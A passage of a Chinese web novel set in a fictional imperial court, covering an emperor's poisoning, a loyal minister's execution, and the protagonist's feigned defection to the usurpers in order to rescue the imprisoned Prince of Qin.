他用尽全身的力气,撕心裂肺地吼道:“为什么!魏忠!朕待你如父,你为什么要害朕!” “噗通!” 魏忠双膝一软,重重地跪在地上,涕泪横流,不住地磕头。 “陛下!老奴是为了您好啊!” 他的哭喊声,扭曲而又嘶哑。 “您斗不过太后他们的!您真的斗不过他们的啊!宫变就是一条死路,老奴……老奴是想保住您的性命啊!陛下!” 这番扭曲荒唐的辩解,听在景帝耳中,只觉得是天底下最可笑的话! 保住我的性命? 景帝惨然一笑,笑声中充满了无尽的悲凉和自嘲。 他缓缓松开了揪住魏忠衣领的手,踉跄着后退了两步,重新跌坐回那冰冷的龙椅上。 他失神地喃喃自语:“保住性命……像个木偶一样,苟延残喘地活着……又有何意义……” 他的精神,在这一刻,彻底垮了。 那个曾经还心怀梦想,渴望成为一代明君的年轻帝王,彻底死了。 活下来的,只是一具行尸走肉。 一个被最信任的人,以“为你好”的名义,亲手推进无边地狱的可怜虫。 他看着跪在地上痛哭流涕的魏忠,看着一脸得意的梁越,看着面无表情的母亲。 整个养心殿,仿佛变成了一座巨大的、华丽的囚笼。 而他,就是那个被锁在正中央的,供人观赏的阶下囚。 …… 景帝倒台,梁党弹冠相庆。 国舅梁越的府邸,张灯结彩,大摆筵席,比过年还要热闹。 京城里所有依附梁家的官员,无论品级高低,都削尖了脑袋前来道贺。 一时间,梁府门前车水马龙,贺礼堆积如山。 酒宴之上,梁越喝得酩酊大醉,满面红光。 他一手搂着绝色的舞姬,一手举着金杯,对着满堂的宾客,口无遮拦地狂言。 “什么狗屁天子!在大业朝,我梁越,才他娘的是太上皇!” “哈哈哈!谁敢不服?谁不服,下场就跟张廷玉那老匹夫一样!” 满堂官员纷纷起身,谄媚地举杯附和,马屁声不绝于耳,场面荒淫而又丑陋。 几日后,一纸诏书从慈宁宫发出,由梁越代笔,盖上了景帝的玉玺。 诏书以“谋逆”之罪,判处大学士张廷玉等一众被捕官员,斩立决。 菜市口法场,人山人海。 张廷玉一身白色囚服,须发皆白,被两名如狼似虎的兵士押上断头台。 他没有丝毫畏惧,只是整理了一下凌乱的衣衫,挺直了早已不再挺拔的脊梁。 他面朝北方,朝着皇宫的方向,重重地磕了三个响头。 “臣,张廷玉,有负圣恩!” 一声高呼,声震四野,充满了无尽的悲怆与不甘。 随即,他转过身,怒视着监斩台上,满脸得意的梁党官员。 “尔等国贼!乱我朝纲,囚我君王!必遭天谴!” “老夫今日虽死,却坚信,天理昭昭,报应不爽!” 他深吸一口气,用尽最后的力气,高声颂道:“尔等且看!我大业尚有陈平川这等擎天之柱在!他在顺城,以文人之身,退万千蛮兵!他在庐州,以白丁之名,破十万叛军!” “有陈平川在,我大业不亡!尔等梁家逆贼,必将自取灭亡!哈哈哈……” 在苍凉的笑声中,刽子手手起刀落。 一颗白发苍苍的头颅滚落在地,一代忠臣,就此殒命。 解决了这些心腹大患,梁太后的屠刀,最终还是挥向了景帝。 她不能容忍一个还活着的、并且恨她入骨的儿子,继续坐拥皇帝的名号。 斩草,必须除根! 这天晚上,她命人准备了一壶毒酒,琥珀色的酒液在酒壶里轻轻晃动,散发着死亡的气息。 她将这个任务交给了因“告密有功”而被提拔为司礼监掌印,此刻却面无人色、浑身抖得像筛糠的魏忠。 “这是哀家对皇帝,最后的恩典。” 梁太后的声音冷得像冰。 “你去,送他一程吧。” 第233章 天子泣血饮鸩,秦王怒闯龙潭! 魏忠端着那壶毒酒,双腿一软,几乎要瘫倒在地。 他终于明白,自己当初那个“保住皇上性命”的决定,是多么的天真和愚蠢。 他非但没有保住皇上,反而亲手将皇上推入万劫不复的深渊。 他一步一挪,如同行尸走肉般来到养心殿。 殿内,景帝正穿着一身素衣,坐在窗边,安静地看着窗外的月亮。 这几日,他仿佛瞬间苍老了二十岁,须发皆白,原本还有些生气的脸上,如今面如死灰。 看到魏忠端着酒进来,他甚至没有一丝惊讶,只是平静地转过头,看着魏忠。 “是太后让你来的吧?”他轻声问,“这是毒酒?” 魏忠再也忍不住,泪水决堤,跪倒在地:“陛下……老奴……老奴对不起您……” 景帝却摆了摆手,示意他起来。 他接过那壶毒酒,给自己倒了一杯,长长地叹一口气。 “不怪你。” 他轻声说,“朕落得今日下场,皆因朕天性软弱,空有抱负,却无铁腕。朕……不配为君。” 他追忆起当初在恩荣宴上,与那个意气风发的年轻状元陈平川的对答。 “以商制夷……安民兴国……” 他喃喃自语,悔恨的泪水终于滑落。 “是朕没有魄力,是朕太怯懦!错失了唯一能助朕中兴的贤臣!朕对不起他,更对不起这大业的万里江山,亿兆黎民!” 他自嘲地笑了,笑自己这一生的荒唐与无能。 明明遇到了陈平川那等经天纬地之才,若能君臣一心,或许真的能扫除沉疴,开创一个前所未有的盛世。 然而,终究是因自己的怯懦,错失了良机,致使忠臣流放,奸党横行,最终落得君王死社稷的悲惨下场。 他泪流满面,字字泣血,充满了对陈平川的无尽愧疚,与对那个永远无法实现的未来的无尽遗憾。 他抓过旁边桌案上的一段白绫,猛地咬破自己的指尖,用血指在上面奋力写下遗言。 “错信奸奴,错失良臣,悔之晚矣!愿来世,生于寻常百姓家!” 写罢,他扔掉白绫,将那杯毒酒一饮而尽。 就在他毒发倒地,身体开始抽搐之际,一旁万念俱灰的魏忠,突然像疯了一样,将酒壶剩下的毒酒也倒进了嘴里。 “陛下!老奴来陪您了!” 他哭喊着,紧紧抱住景帝渐渐冰冷的身体,倒在了景帝的身旁。 一个懦弱的帝王。 一个用扭曲的方式表达忠诚的太监。 就在这血色弥漫的深宫里,以最悲凉的方式,一同落下了生命的帷幕。 …… 次日,悠长而沉重的丧钟,响彻了整个京城。 梁太后对外宣称,景帝“积劳成疾,不幸宾天”。 景帝尸骨未寒,梁太后与梁越便迫不及待地,共同宣布了一份所谓的“景帝遗诏”。 遗诏上说,景帝生前已立下旨意,传位于“皇太子”祝安。 这个年仅八岁的孩童,史称兴帝,实则是梁越早年与后宫的一名妃子偷偷所生,与祝氏皇族没有半点血缘关系。 一个彻头彻尾的伪帝,就此登上了大业朝的龙椅。 这份漏洞百出的遗诏,在梁家明晃晃的屠刀之下,满朝文武,竟无一人敢于质疑。 大业,彻底变天了。 景帝驾崩、新皇登基的消息,传到了庐州府。 秦王祝衡正在府衙与陈平川商议庐州府大力发展农商的事宜,听到信使带来的噩耗,整个人如遭雷击,呆立当场。 “你说什么?皇上……驾崩了?” 他的声音干涩,根本不敢相信。 当信使将那份伪造的遗诏,以及新皇祝安的身世背景一并说出后,秦王的脸色由白转青,由青转紫。 “噗——” 一口鲜血,猛地从他口中喷出,染红了身前的文案。 “弟弟!” 他悲呼一声,高大的身躯剧烈摇晃,若不是陈平川眼疾手快地扶住他,恐怕已经当场倒地。 “梁氏奸贼!欺人太甚!” 秦王双目赤红,悲愤交加。 他太了解自己的弟弟了。 虽然软弱,但身体底子还行,怎么可能突然就“积劳成疾”,一命呜呼? 再加上张廷玉等一众忠臣同时被斩首,一个八岁的、来路不明的野种登基为帝。 这一切的一切,都指向一个昭然若揭的真相——这是一场蓄谋已久的宫廷政变!他的弟弟,是死于非命! “备马!本王要回京奔丧!” 秦王一把推开身边劝阻的亲卫,怒吼道。 他要去京城,他要当面质问梁太后那个毒妇,他要亲手杀了梁越那个国贼,为自己的亲弟弟报仇! “王爷,不可!” 陈平川一把拦在了秦王,神情无比凝重。 他冷静地分析道:“王爷,您现在万万不能回京!梁党既然敢弑君另立,就说明他们已经撕下了最后一块遮羞布,彻底掌控了京城。” “此刻的京城,早已是龙潭虎穴,天罗地网!您此去,正中梁党下怀,无异于自投罗网啊!” 现在,整个祝氏皇族,只剩下秦王一个,对方绝对会趁机杀了秦王,以绝后患! 然而,手足情深的巨大悲痛,已经彻底冲昏了秦王的头脑。 理智,在滔天的仇恨面前,显得不堪一击。 “让开!” 秦王一把将陈平川推开,双目赤红地嘶吼着。 “他是我唯一的亲弟弟!是我祝衡,在这世上唯一的亲弟弟了!” “哪怕前面是刀山火海,是十八层地狱,我也要去送他最后一程!我要知道,他究竟是怎么死的!” 他的声音里,带着无尽的悲恸和决绝。 陈平川知道,此刻任何劝说都是徒劳的。 秦王的心,已经被仇恨和悲伤填满,再也容不下任何理智的分析。 最终,陈平川放弃了劝说。 他看着这个一直以来都如同山一样沉稳的男人,此刻却像个无助的孩子。 秦王翻身上马,在临行前,他深深地看了一眼陈平川。 “平川,庐州,就交给你了。” 他的声音沙哑,充满了托付的沉重。 “还有昭华……本王若有不测,你……你一定要护她周全!” 说完,他不再犹豫,猛地一夹马腹,带着一队亲卫,如同一道离弦之箭,冲出庐州城,星夜兼程,朝着那座已经变成血色漩涡的京城,奔赴而去。 陈平川默默地看着秦王一行人远去的背影,直到那小小的黑点彻底消失在天际线的尽头。 他心中,涌起一股强烈至极的不祥预感。 秦王此去,怕是……凶多吉少。 第234章 秦王问斩?昭华崩溃,陈平川:此事我管定了 秦王祝衡一行人,快马加鞭,日夜兼程,终于在数日后,风尘仆仆地赶到了京城。 然而,迎接他的,是一张早已为他布下的,天罗地网。 他刚刚踏入城门,还没来得及看清这座阔别已久的都城,四面八方就涌出了大批身披重甲的京城卫戍,将他们一行人团团围住,围得水泄不通。 为首的一名将领,脸上挂着皮笑肉不笑的表情,从怀中慢条斯理地掏出一纸盖着“京兆尹”大印的逮捕令。 “秦王殿下,别来无恙啊。” 那将领阴阳怪气地说道。 “您涉嫌与逆党张廷玉等人勾结,暗中联络,图谋不轨。跟我们走一趟吧!” “血口喷人!” 秦王怒斥道:“本王要面见太后!本王要问问她,皇上究竟是怎么死的!” 然而,回答他的,是四周齐刷刷拔出鞘的、明晃晃的刀枪弓弩! 那将领脸上的笑容更盛了:“王爷,您还是省省力气吧。太后懿旨,不见任何人。您啊,还是先去天牢里,好好反省反省自己的罪过吧!” 话音未落,数名士兵一拥而上,粗暴地将秦王从高头大马上拽了下来。 冰冷的镣铐,“咔嚓”一声,锁住了他的手脚。 这位昔日身份尊贵的贤王,此刻就像一个最低贱的阶下囚,被士兵们推搡着,押往天牢。 沿途的百姓,看着景帝的兄弟,地位崇高的王爷,竟落得如此下场,一个个都吓得噤若寒蝉,敢怒不敢言。 整个京城,都笼罩在梁党恐怖高压的统治之下,街头巷尾,密布着梁党的爪牙和眼线,空气中都仿佛凝结着血腥味,压得人喘不过气来。 …… 天牢。 这里终年不见天日,空气中弥漫着腐朽的恶臭。 秦王祝衡被重重地推入一间牢房,沉重的铁门在他身后“哐当”一声关上,隔绝了外界最后一点光亮。 他环顾四周,这里除了带着霉味的稻草,便只剩下无边的黑暗和冰冷的石墙。 没过多久,一阵脚步声由远及近。 牢门被打开,国舅梁越在一群前呼后拥的侍卫簇拥下,满脸得意地走了进来。 他穿着一身华贵的锦袍,与这肮脏的环境形成鲜明对比。 “王爷,别来无恙啊。” 梁越的语调充满了猫戏老鼠般的戏谑。 “听说,你还想见太后?唉,您也不看看自己现在是什么身份,一个阶下囚罢了,她老人家说了,您这谋逆之罪,可是罪不容诛,就不必见了,免得污了她的眼。” 秦王靠着墙壁,冷冷地看着他,眼神里的怒火几乎要喷薄而出。 “梁越,你们弑君篡位,不得好死!” “哈哈哈!”梁越仿佛听到了天底下最好笑的笑话,放声大笑起来,“我不得好死?王爷,你怕是看不到了。景帝已经死了,现在的皇帝是我的儿子!是我梁家的天下!” 他笑够了,从袖中缓缓抽出一道明黄色的圣旨,在秦王面前展开。 “哦,对了,忘了告诉你。新皇登基,大赦天下。不过嘛……你这个首恶逆贼,可不在赦免之列。” 他清了清嗓子,当众宣读起来。 “奉天承运,皇帝诏曰:罪王祝衡,心怀怨望,勾结逆党,图谋不轨,罪大恶极!着,削去王爵,贬为庶人,秋后问斩!钦此!” 秋后问斩! 四个字,如同四记重锤,狠狠砸在秦王心上。 梁越看着秦王瞬间煞白的脸,满意地收起圣旨,转身离去。 “王爷,您就在这儿,好好享受这最后的时日吧!” 他的笑声在阴暗的甬道里回荡,充满了小人得志的猖狂。 另一边,秦王带来的一名贴身侍卫,凭借着过人的机警,从刚才的混乱中侥幸逃脱。 他不敢走官道,一路扮作乞丐,沿途乞讨,风餐露宿,终于在半个多月后,将这个惊天的噩耗,带回了庐州府。 消息传来,整个秦王府哭声震天。 昭华郡主听到这个消息,只觉得眼前一黑,天旋地转,当场就晕了过去。 等她再次醒来,人已经躺在了自己的床榻上。 张静姝、张若素和陈平玉都守在她的床边,个个眼圈泛红。 “我爹……” 昭华郡主一开口,声音沙哑得不像话,眼泪如同决了堤的洪水,汹涌而出。 “我爹他……他被抓了……要被问斩了……” 她瘫倒在床上,哭得撕心裂肺。 父亲同样被害的张若素感同身受,她穿着丧服,红着眼睛抱紧了昭华,两人一起哭泣。 陈平玉跟着抹眼泪。 牙尖嘴利的张静姝不会劝人,只能轻轻拍着两人的后背安抚情绪。 秦王是昭华郡主在这个世界上唯一的依靠,是她头顶的那片天。 如今,天要塌了! 她一个手无缚鸡之力的弱女子,无权无势,如何能与权倾朝野、一手遮天的梁党抗衡? 在这无边的黑暗与绝望之中,她的脑海里,只剩下了一个名字。 陈平川。 对,陈平川! 他足智多谋,他能以白身之躯,守住庐州城,他一定有办法的! 他一定能救我爹! 这个念头一起,就像是落水之人抓住了最后一根稻草。 昭华郡主顾不上什么礼仪规矩,挣扎着从床上爬起来,连鞋都来不及穿好,就疯了一样冲出房间,直奔陈平川的府上。 此时,陈平川正在书房,面色凝重地看着京城传来的各种情报。 秦王的事情他已经知道了,正在思考对策。 昭华郡主闯进来的时候,他甚至没来得及反应。 “噗通!” 昭华郡主见到陈平川的瞬间,便双膝一软,重重地跪在了地上。 她所有的坚强和矜持,在这一刻彻底抛弃。 “陈公子!” 她泣不成声,额头抵着冰冷的地面。 “求求你,求求你救救我爹!我爹他快要死了!” “你是我爹唯一的希望了!求求你!” 陈平川看着眼前这个梨花带雨、几近崩溃的郡主,心中百感交集。 秦王于他,有知遇之恩,亦师亦友。 他绝无见死不救之理。 可是,对手是梁家。 京城的天牢,守卫森严,固若金汤。 从那里救人,简直比登天还难。 然而,他知道,自己不会见死不救。 他毅然上前,将昭华郡主扶起,沉声道。 “郡主放心,王爷之恩,平川没齿难忘。” “此事,我管定了!” 此时,张静姝和张若素几人也跟着追过来。 陈平川转过头,看向同样满脸悲伤的张若素。 还有张若素的父亲张廷玉,那个刚正不阿的老人,如今尸骨未寒,甚至连个像样的坟冢都没有,就被草草掩埋在乱葬岗。 于公于私,于情于理,这一趟京城,他非去不可! 第235章 要想骗过老狐狸,先当无耻小人! 夜深。 陈府的书房里,灯火通明。 陈平川一家人、张若素、昭华郡主,还有张静姝,四人围坐一堂,气氛凝重。 “强攻,绝无可能。” 陈平川率先打破了沉默,他的手指在桌案上轻轻敲击,声音冷静。 “梁越既然敢抓捕王爷,就必然在京城布下了天罗地网。我们这点人手,冲进去无异于飞蛾扑火,白白送死。” 昭华郡主刚刚止住的泪水又涌了上来,急道:“那……那怎么办?难道就眼睁睁看着我爹他……” 陈平川抬起手,示意她稍安勿躁。 他的目光扫过在场的三位女子,最终定格在跳动的烛火上,缓缓说道:“强攻是死路,那就只能智取。” “唯一的生路,只有一个字——降!” “什么?” 张若素几个人同时惊呼出声。 “要想骗过一只狡猾的老狐狸,就要先把自己变成一只比他更狡猾、更没有底线的狐狸!” “我要扮演的,不是一个忍辱负重的忠臣,而是一个失去靠山、贪生怕死、趋炎附势、彻头彻尾的无耻小人!” “我要主动投靠梁党,我要把我的忠心,我的谄媚,摆在他们面前,让他们相信,我陈平川,要投靠梁家做他们的走狗!” 这番话,石破天惊。 “你要降?”昭华郡主不敢置信地看着陈平川,“陈公子,你……你这是什么意思?难道要我们向梁家那群奸贼低头?” 她激动地站起身,认为这是对父亲,也是对皇室的巨大侮辱。 “我爹他宁死也不会屈服的!你这么做,也是作践自己!” 她不想看到自己欣赏的男人,卑躬屈膝,趋炎附势! “是虚名重要,还是王爷的命重要?” 陈平川冷冷地反问,一句话就让昭华郡主哑口无言。 一旁的张若素,却从陈平川那平静的眼神中,读懂了他那份置之死地而后生的决绝。 她没有说话,只是默默地把手放在了陈平川的手上,用行动表达了自己的支持。 张静姝一见,也忙拉住了陈平川另一只手。 陈平川并未动怒,反而镇定自若地解释给众人听。 “我将效仿古人,双管齐下。” 他铺开两张宣纸,提笔蘸墨。 “第一封信,是写给国舅梁越的《降表》。” 他笔走龙蛇,一篇舍弃尊严、文采飞扬到了肉麻地步的降表一挥而就。 信中,他详述了自己是如何在秦王倒台后“幡然醒悟”,又是如何看清了“大势所趋”。 他表示,愿意将秦王在庐州的所有家产,悉数清点上缴,以献给新帝和太后,只求能为国舅爷效犬马之劳。 写完,他将信吹干,递给昭华郡主。 “这封信,需要盖上秦王府的大印,才更具说服力。” 昭华郡主看着信上那些无耻至极的言语,气得浑身发抖,但一想到父亲的性命,她还是咬着牙,取来印信,重重地盖了上去。 接着,陈平川又写了第二封信。 这封信上,没有称谓,没有落款,只有寥寥数语和几个外人看不懂的符号。 “京城风急,需烈酒暖身。备上好‘惊雷’,‘猛火’,伪作商队,北上进京,静候佳音。” 他将信折好,交给了身边一名最亲信的护卫。 “即刻出发,亲手交到黑风寨,凤三娘手中。” “是!”护卫领命,转身消失在夜色中。 做完这一切,陈平川的神情没有丝毫放松。 “为了以防万一,你们和我的家人必须立刻离开庐州。” 他看着眼前的三位女子以及父母妹妹,声音沉重。 “等我出发后,我会安排人秘密将你们连夜送出城,先去黑风寨躲避一时。那里,是梁家势力唯一无法触及的地方。” “等我从京城回来,接你们回家。” 罗氏早已在一旁听得泪流满面,她死死拉住儿子的手,泣不成声:“儿啊,太危险了,咱不去行不行?咱斗不过他们的,咱回桃花村,咱过安生日子……” “娘,”陈平川反手握住母亲粗糙的手,“开弓没有回头箭。我若不去,秦王必死,张伯伯的仇报不了,梁家下一步,就会来对付我们。我们,已经无路可退了。” 罗氏一个村妇,哪里懂这些朝堂上的勾心斗角,只能拉着儿子的手,默默垂泪。 “平川。” 张若素从怀中取出一封信,递到陈平川手中。 “平川,此去京城,若是……若是能找到家父的埋骨之处……” 她的声音带着一丝哽咽。 “请你将它带到我父亲的坟前。告诉他,女儿……一切安好,也定会为他沉冤昭雪。” 陈平川重重地点了点头,将书信贴身收好。 他看着眼前这些为他牵挂、为他担忧的亲人,心中沉重如山。 此行九死一生,必须斩断所有牵挂,才能心无旁骛地,去走那条最凶险的钢丝。 随后,他将那封写给梁越的《降表》,交给了另一名信使。 本小章还未完,请点击下一页继续阅读后面精彩内容!“你即刻起程,前往京城,交给翰林院编撰林锦玉。” 自打陈平川被罢官之后,林锦玉也受到牵连,幸好张廷玉和景帝力保,他才保住官职,回到翰林院继续韬光养晦。 “是!” 信使领命而去。 陈平川看着那匹快马消失在官道的尽头,仿佛看到即将到来的,波谲云诡的命运。 十日后,陈平川的《降表》,以最快的速度,送抵了京城,林锦玉收到后,第一时间便送到了国舅梁越的案头。 梁越展开信,越看脸上的笑容就越是灿烂。 “哈哈哈!陈平川,算你识时务!” 他将信重重地拍在桌子上,兴奋地对身边的幕僚说道:“你们看看!这就是天命所归!连陈平川这种秦王一手提拔起来的死忠,都看清形势,主动投靠我们了!” “此人在民间声望极高,若是能为我所用,行千金买马骨之效,必将引天下有才之士来投!” “这简直是天大的祥瑞!证明我梁家取代祝氏,乃是顺天应人之举!” 梁党的一众官员也纷纷凑上前来,将信传阅了一遍,个个脸上都露出了欣喜若狂的表情,马屁声如潮水般涌来。 然而,当这封信被送到慈宁宫,交到梁太后手中时,这位老谋深算的女人,却并没有像他哥哥那般得意忘形。 她细细地看完了整封信,眉头微微蹙起。 “此事,恐怕有诈。”她冷冷地说道。 上次寿宴上,陈平川的当众辱骂,至今还让她耿耿于怀。 写一篇摇尾乞怜的文章,就证明他陈平川就真的成了我们梁家的一条狗了? 她不信! 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第236章 好家伙!他比我这条走狗还像走狗! 梁越不以为然:“妹妹,你多虑了。这陈平川素有才名,但说到底不过是个无根无基的泥腿子。他之前那般猖狂,全靠景帝和秦王在背后撑腰。如今景帝已死,秦王也倒了,他就是一条断了脊梁的狗,除了摇尾乞怜,还能有什么别的出路?” “哀家担心的,不是他有没有出路。”梁太后将信纸扔在桌上,“哀家是担心,他这是诈降之计。此人诡计多端,在庐州城下,天公道那十万大军都被他玩弄于股掌之间,不得不防。” 梁越依旧不屑:“妹妹,此事无论真假,对我等而言,都是百利而无一害。” “哦?说来听听。”梁太后抬了抬眼皮。 梁越侃侃而谈:“在顺陈和庐州,他陈平川是猛虎。可到了京城,在我们眼皮子底下,他就是砧板上的一块鱼肉,任由我们宰割!” “若他真心归顺,我朝便得一臂助,可借他的名望,安天下士子之心,此乃一利。” “若他是诈降,那便更好办了!咱们正好借此机会,将他与秦王一同绑赴法场,当着天下人的面,将这一君一臣两个‘逆贼’一同斩首示众!如此,则可彻底震慑那些心怀异志之辈,以儆效尤!此乃二利也!” “所以,无论他怎么选,主动权,都在我们手上。” 这番话,让梁太后茅塞顿开。 她紧锁的眉头终于舒展开来,脸上露出了一丝满意的笑容。 “言之有理。” 她当即拍板。 “传哀家懿旨,宣陈平川即刻进京,‘觐见’新帝。就说,哀家和皇帝,要当面听听他的‘忠心’!” 一道圣旨,立刻由宫中发出,快马加鞭,送往庐州。 当宣旨的太监,在庐州府衙门口,用尖厉的嗓音高声喊出那句“宣陈平川即刻进京”时,早已在此等候的陈平川,当着所有人的面,焚香叩拜,恭恭敬敬地接过了圣旨。 …… 离别的时刻,到了。 清晨天刚亮,一辆不起眼的马车停在陈府的门口。 罗氏拉着陈平川的手,眼泪像断了线的珠子,怎么也止不住。 “川儿,你千万要小心,千万要保重自己。打不过,咱就跑,留得青山在,不怕没柴烧。娘不要你当什么大英雄,娘只要你平平安安地回来。” “知道了,娘。”陈平川眼眶发热,重重地点了点头。 陈仲和站在一旁,这个不善言辞的男人,只是用力地拍了拍儿子的肩膀,沙哑着嗓子说了四个字:“活着回来!” 陈平玉早已哭成了一个泪人,死死地抱着哥哥的胳膊不肯松手。 张静姝一改往日的刁蛮,此刻也是双眼通红,她从怀里掏出一个油纸包,塞到陈平川手里。 “这是我特意为你做的酱牛肉,你路上吃。你……你要是敢死在京城,我……我就一辈子不嫁人,天天去你坟头哭,烦死你!” 话虽难听,但里面的担忧和关切,却怎么也藏不住。 昭华郡主对着陈平川,深深地行了一礼。 “陈公子,我们一家的性命,全拜托你了。大恩不言谢,此情此义,昭华永世不忘。” 最后,是张若素。 她只是静静地看着他,眼神复杂,有担忧,有信任,也有着剪不断理还乱的情愫。 “此行,万望珍重。” 千言万语,最终只化作这简单的一句话。 陈平川看着她们,将每个人的脸都深深地刻在心里。 他们是支撑他走下去的动力,也是他必须回来的理由。 “我走了。” 他毅然转身,登上马车,没有带一兵一卒,只身一人,踏上了那条通往京城的,布满荆棘与杀机的凶险之路。 …… 一路晓行夜宿,陈平川终于抵达了京城。 城门口,梁越的一名亲信迎上来,名为迎接,实为试探。 “陈大人,一路辛苦。国舅爷特令下官将在此等候,为您接风洗尘。” 一路上,这名亲信按照梁越的指示,不断地旁敲侧击,言语试探,想要从陈平川的反应中看出些许端倪。 然而,陈平川的表现,堪称完美。 他全程弓着腰,满脸堆笑,那副诚惶诚恐、唯唯诺诺的模样,活脱脱就是一条失去了主人的丧家之犬,正在拼命地想为自己找一个新主子。 那谄媚的态度,让前来迎接的亲信都感到一阵阵的肉麻,心中充满了鄙视。 好家伙,比他这条走狗还像走狗! 慈宁宫内,陈平川终于见到了大业朝如今的皇帝,兴帝祝安,以及他背后真正的统治者——垂帘听政的梁太后和国舅梁越。 “罪人陈平川,叩见太后千岁,千岁千千岁!叩见国舅爷!” 他一进殿,便行了个五体投地的大礼,姿态低到了尘埃里。 接下来的言辞,更是极尽阿谀奉承之能事。 他痛斥自己当初是如何的“有眼无珠”,错信了秦王那个“包藏祸心”的逆贼。 又吹捧梁家母子是如何的“明察秋毫”、“拨乱反正”,简直是“天命所归,民心所向”。 他把自己贬低得一文不值,把梁家母子捧上了天。 那番惊世骇俗的谄媚之词,让在场所有见惯了官场丑态的梁党官员,都叹为观止,自愧不如。 梁越被他捧得飘飘然,心情大悦,当场便许诺,只要他忠心办事,将来必定高官厚禄,封妻荫子。 梁太后虽然依旧保持着警惕,但看着陈平川那副“卑微”的可怜模样,也满意地点点头。 毕竟,没有人会想到,一个曾经名满天下、被誉为士子楷模的人,能毫无廉耻地做到这个地步。 除非,他是真的怕了。 当晚,梁越在府上大摆宴席,为陈平川接风洗尘。 陈平川在酒席上八面玲珑,与梁党一众奸臣打得火热,就差称兄道弟。 酒过三巡,陈平川看准时机,主动向梁越提出了一个请求。 “国舅爷,平川有一不情之请。” “说。”梁越心情大好。 陈平川一脸“诚恳”地说道:“听说秦王顽固不化,至今不肯认罪。这对于新帝的威望,终究是个隐患。” “平川曾深受其恩,对他还算了解。所以请求能去天牢之中,亲自劝降他。” “平川相信,只要能让他画押认罪,亲口承认自己的谋逆之举,天下便再无人敢质疑新帝的正统性,国舅爷和太后的功绩,也将千古流传!” 这个提议,正中梁越下怀。 他早就想看一出昔日主仆反目成仇,互相撕咬的好戏了。 没有什么,比看着敌人内部崩溃,更能让他感到愉悦的了。 “准了!” 梁越欣然应允,甚至兴致勃勃地决定,“本国舅明天亲自带你去,看看你是如何劝降那匹夫的!” …… 第237章 狱中演好戏,坟前祭忠魂 阴暗潮湿的天牢里,秦王正靠墙而坐,双目无神地望着屋顶。 当牢门打开,他看到梁越身后,那个穿着一身崭新官服、满脸谦卑笑容的陈平川时,整个人都愣住了。 他不敢相信自己的眼睛。 而陈平川接下来的话,更是让他如坠冰窟。 “秦王祝衡!” 陈平川一开口,便直呼其名,语气尖酸刻薄。 “我当初真是瞎了眼,才会追随你这种愚不可及的谋逆之徒!” 他指着秦王的鼻子,当着梁越和一众狱卒的面,声色俱厉地破口大骂。 “你谋逆也就罢了,还害得我差点跟你一起陪葬!你这么做对得起朝廷,对得起太后,对得起大业朝的列祖列宗吗?!” “我告诉你,你若再不认罪,昭华郡主,也要被你牵连,打入贱籍,充入教坊司!” 这番话,如同一把锋利的尖刀,狠狠地插进了秦王的心窝。 秦王祝衡纵然怀疑这可能是陈平川演的一场戏,可听到女儿的名字,听到那般恶毒的话语,还是气得目眦欲裂,血气上涌。 他只当陈平川是彻底背叛,为了荣华富贵,连廉耻之心都不要了。 “陈平川!你这无耻小人!” 秦王悲愤地嘶吼一声,像一头被激怒的雄狮,猛地从草堆上扑了起来,死死地抓住了陈平川的衣领。 “本王掐死你!” 两人瞬间扭打在了一起。 “我祝衡当初真是瞎了眼,竟信了你这种卖主求荣、卑鄙无耻的狗东西!还想把女儿许配给你!” 秦王悲愤地嘶吼着,陈平川也不还手,只是任由他嘴里还在不停地叫骂。 一旁的梁越和狱卒们,看得是津津有味,哄堂大笑。 就在狱卒们上前,准备将两人拉开的混乱瞬间。 陈平川的脸紧紧贴着秦王的耳朵,用只有两个人才能听到的声音,飞快地说道。 “王爷,法场听我号令,立刻趴下!” 短短一句话,顿时让秦王打向陈平川的拳头,猛地一僵。 他瞬间明白了! 一切都是演戏! 陈平川没有背叛!他在用自己的名节,在用这种自污的方式,策划着一场惊天的营救! 巨大的狂喜和激动,瞬间冲垮了悲愤。 但秦王毕竟是久经沙场之人,他依旧保持着脸上那份暴怒,继续配合着陈平川演戏。 他更加用力地撕扯着,口中的骂声也更加恶毒。 “你给本王等着!本王做鬼也不会放过你!” 狱卒们费了九牛二虎之力,才将“扭打”在一起的两人分开。 陈平川被推得一个踉跄,衣衫凌乱,嘴角甚至还带着一丝血迹,狼狈不堪。 “冥顽不灵!等着上刑场吧!” 陈平川一边骂着,一边被狱卒们带出了监牢。 而牢房内的秦王,则靠在墙上,剧烈地喘息着,一双虎目死死地盯着陈平川离去的背影。 心里佩服:好你个陈平川,你可真敢玩啊! 梁越看着眼前这出“君臣反目”的好戏,心满意足,放声大笑。 他拍了拍陈平川的肩膀,夸奖道:“哈哈哈!陈大人,你做得很好!本国舅很满意!” 此刻,他对陈平川那所谓的“忠心”,再无半分怀疑。 一个能对自己昔日的恩主恶语相向,连对方女儿的清白名节能拿来威胁的人,不是真正的无耻小人,又能是什么? 这种人,最好控制,也最让他放心。 他得意洋洋地宣布道:“既然秦王祝衡如此顽固不化,那也留他不得了!” “传本国舅令,三日之后,午时三刻,菜市口法场,公开问斩!” 他转头看向陈平川,脸上带着一丝恶趣味的笑容。 “陈大人,就由你亲任监斩官!亲手送你的旧主最后一程!” “下官……下官遵命。” 陈平川脸上露出“惶恐”和“为难”交织的复杂表情,躬身领命。 他退出天牢,在转身的瞬间,脸上所有谦卑和惶恐,都消失得无影无踪。 取而代之的,是一片冰冷彻骨的杀意。 …… 是夜。 梁党因为策反了陈平川,又即将处死心腹大患秦王,整个京城的防备都松懈了不少。 陈平川用巨资,收买了一个在府中地位不高,却能自由出入的下人。 子夜时分,这名下人伪装成倒夜香的仆役,推着一辆臭气熏天的木板车,悄无声息地溜出了城。 他按照陈平川给的地图,一路找到了城外那片草草掩埋着张廷玉等一众忠臣的乱葬岗。 这里野狗刨食,尸骨散落,一片凄凉。 “大人,到了!” 车上的大木桶盖子被掀开,陈平川从里面跳出来,他换上了一身夜行衣,环顾四周。 清冷如水的月光下,乱石嶙峋,荒草丛生,几具残缺的白骨在月下泛着磷光,远处野狗的低嚎声更添几分阴森。 他点燃火烛,在一片荒坟中仔细搜寻,最终找到了那个属于张廷玉的小土包。 没有墓碑,甚至没有一口薄棺,这位昔日的忠臣,如今只被一层薄土草草掩盖,上面插着一根木牌,写着他的名字。 陈平川亲手一抔土一抔土地,为张廷玉挖出了尸骨。 